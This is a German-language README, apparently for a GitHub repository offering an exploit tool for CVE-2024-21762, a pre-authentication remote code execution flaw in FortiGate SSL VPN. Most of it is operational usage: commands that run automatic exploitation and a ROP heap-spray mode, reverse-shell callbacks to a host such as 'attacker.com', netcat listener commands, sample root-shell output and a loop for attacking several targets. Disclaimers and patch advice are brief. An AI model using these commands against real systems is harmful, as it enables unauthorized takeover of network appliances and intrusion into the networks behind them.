
Erkennt und nutzt CVE-2024-21762 Pre-Authentication RCE in FortiGate SSL VPN aus, mit Basisvalidierung, automatischer Ausnutzung, ROP-Heap-Spray-Modus und Reverse Shell.
Erkennungs- und Exploit-Tool für CVE-2024-21762 – Kritische Schwachstelle in FortiGate SSL VPN
⚠️ RECHTLICHER HINWEIS: Dieses Tool ist ausschließlich für den Einsatz in autorisierten Testumgebungen bestimmt. Die unbefugte Nutzung auf Systemen ist RECHTSWIDRIG und kann schwerwiegende rechtliche Konsequenzen haben.
CVE-2024-21762 ist eine kritische Schwachstelle in FortiGate SSL VPN-Komponenten, die Remote Code Execution (RCE) ohne Authentifizierung ermöglicht. Der Fehler liegt in einer unsicheren Verarbeitung von HTTP-Anfragen mit Chunked Transfer-Encoding, was zu einem Out-of-Bounds Write in der Komponente sslvpnd führt.
| Attribut | Information |
|---|---|
| CVE ID | CVE-2024-21762 |
| Schwachstelle | Out-of-Bounds Write in sslvpnd |
| Typ | Remote Code Execution (RCE) ohne Authentifizierung |
| CVSS Score | 9.8 (Kritisch) |
| Betroffene Komponente | FortiOS SSL VPN |
| Betroffene Versionen | 7.0.0–7.0.13, 7.2.0–7.2.6, 7.4.0–7.4.2 |
✅ Schwachstellenerkennung – Identifiziert anfällige FortiGate-Geräte mittels manipulierter Anfragen
✅ Baseline-Test – Überprüft das normale Serververhalten vor den Tests
✅ Automatischer Modus – Erkennt Schwachstellen und führt automatisch einen Exploit durch
✅ Reverse Shell – Unterstützt Bash-Reverse-Shell mit IP/Port-Konfiguration
✅ Eingabevalidierung – Validiert IPs und Ports vor dem Exploit
✅ Detaillierte Berichte – Erstellt Berichte mit Empfehlungen zur Behebung
✅ Robuste Fehlerbehandlung – Sicheres Verbindungs- und Ausnahmemanagement
# Repository klonen
git clone https://github.com/ihr-benutzername/CVE-2024-21762.git
cd CVE-2024-21762
# Syntax überprüfen
python -m py_compile EXPLOIT.py
# Skript ausführen
python EXPLOIT.py -h
# Einfacher Erkennungstest
python EXPLOIT.py 192.168.1.100
# Mit benutzerdefiniertem Port
python EXPLOIT.py 192.168.1.100 -p 8443
# Mit erhöhtem Timeout
python EXPLOIT.py 192.168.1.100 --timeout 20
# Automatischer Modus mit vorkonfigurierter Reverse Shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Automatischer Modus ohne Angabe von Credentials (interaktive Abfrage)
python EXPLOIT.py 192.168.1.100 --auto
Der ROP-Modus implementiert einen zweistufigen Exploit mit Heap Spray für bestimmte Ziele (FortiOS 7.4.2):
# ROP-Exploit mit Node.js-Reverse-Shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Mit benutzerdefiniertem Port
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Mit erhöhtem Timeout für langsame Ziele
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
ROP-Exploit-Ablauf:
Auf Ihrem Lausch-Server:
# Linux/Mac/Windows mit netcat
nc -lnvp 4242
# Erwartete Ausgabe:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Wichtiger Hinweis: Der ROP-Modus ist für FortiOS 7.4.2.F-build2571 optimiert. Andere Versionen funktionieren möglicherweise nicht wegen der fest codierten Offsets in der ROP-Kette.
# Reverse-Shell-Payload senden
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Kombination mehrerer Optionen
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Ziel-Hostname oder IP, das/die getestet werden soll
optional arguments:
-h, --help Zeigt diese Hilfemeldung an
-t, --target HOSTNAME Ziel-Hostname oder IP (alternativ)
-p, --port PORT SSL-VPN-Port (Standard: 443)
--timeout SECONDS Timeout in Sekunden (Standard: 10)
-li, --lhost IP Lokale IP zum Empfangen der Reverse Shell
-lp, --lport PORT Lokaler Port zum Empfangen der Reverse Shell
--no-baseline Überspringt den Baseline-Test
--auto Automatischer Modus: Erkennung und Exploit
--rop ROP-Modus: Erweiterter Exploit mit Heap Spray (FortiOS 7.4.2)
-v, --version Zeigt die Skriptversion an
python EXPLOIT.py 192.168.1.100
Erwartetes Ergebnis bei vorhandener Schwachstelle:
[+] Starte Schwachstellentest...
[!] VERWUNDBAR ERKANNT!
[!] Server hat Verbindung abrupt abgebrochen
[!] STATUS: VERWUNDBAR
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
Auf Ihrem Server:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
Das Tool betrachtet ein Ziel als anfällig, wenn eines der folgenden Verhaltensweisen erkannt wird:
| Version | Erkennung | ROP-Modus | Status |
|---|---|---|---|
| FortiOS 7.0.0 – 7.0.13 | ✅ Ja | ❌ Nein | ⚠️ VERWUNDBAR |
| FortiOS 7.2.0 – 7.2.6 | ✅ Ja | ❌ Nein | ⚠️ VERWUNDBAR |
| FortiOS 7.4.0 – 7.4.1 | ✅ Ja | ❌ Nein | ⚠️ VERWUNDBAR |
| FortiOS 7.4.2 (Build ≤ 2571) | ✅ Ja | ✅ Ja | ⚠️ VERWUNDBAR |
| FortiOS 7.4.3+ | ❌ Nein | ❌ Nein | ✅ BEHOBEN |
FortiOS aktualisieren auf eine behobene Version:
Vorübergehende Isolation
Überwachung
# FortiOS-Version überprüfen
python EXPLOIT.py ihr-fortinet.com
Wenn das Ergebnis „NICHT VERWUNDBAR“ anzeigt, wurde der Patch erfolgreich angewendet.
CVE-2024-21762/
├── EXPLOIT.py # Haupt-Exploit-Skript
├── README.md # Diese Datei
├── LICENSE # MIT-Lizenz
└── .gitignore # Git-Konfiguration
| Methode | Beschreibung |
|---|---|
test_vulnerability() | Testet die Schwachstelle durch Senden einer manipulierten Anfrage |
exploit(lhost, lport) | Nutzt die Schwachstelle mit Reverse Shell aus |
test_baseline() | Testet das normale Serververhalten |
generate_report() | Erstellt einen Abschlussbericht mit Status |
_create_ssl_context() | Erstellt einen wiederverwendbaren SSL-Kontext |
_create_socket_connection() | Stellt eine sichere TLS-Verbindung her |
_close_socket(sock) | Schließt einen Socket sicher |
_is_valid_ip(ip_str) | Validiert das IP-Format |
Das Tool implementiert:
F: Kann ich es unter Windows verwenden?
A: Ja, das Python-Skript läuft unter Windows, allerdings funktioniert die Standard-Bash-Reverse-Shell nicht. Sie bräuchten ein benutzerdefiniertes Payload.
F: Woran erkenne ich, ob der Exploit erfolgreich war?
A: Überprüfen Sie den lauschenden Rechner auf die Reverse Shell (nc/ncat). Das Skript zeigt Fortschrittsmeldungen an.
F: Kann ich es gegen mehrere Ziele einsetzen?
A: Ja, Sie können ein Bash/PowerShell-Skript erstellen, um über eine Liste von IPs zu iterieren.
F: Was ist der Unterschied zwischen normalem und automatischem Modus?
A: Der automatische Modus führt den Exploit automatisch durch, wenn eine Schwachstelle gefunden wird. Der normale Modus führt nur die Erkennung durch.
Haben Sie einen Fehler gefunden oder haben Sie Vorschläge? Eröffnen Sie ein Issue oder reichen Sie einen Pull Request ein!
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe Datei LICENSE für Details.
Diese Software wird "wie besehen" für Forschungs- und autorisierte Testzwecke bereitgestellt. Die Autoren haften nicht für:
VERWENDEN SIE ES VERANTWORTUNGSBEWUSST UND NUR IN AUTORISIERTEN UMGEBUNGEN
Entwickelt zu Bildungs- und Forschungszwecken im Bereich Cybersicherheit.
⚠️ Denken Sie daran: Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testberechtigung haben. Nicht autorisierte Exploitation ist eine Straftat.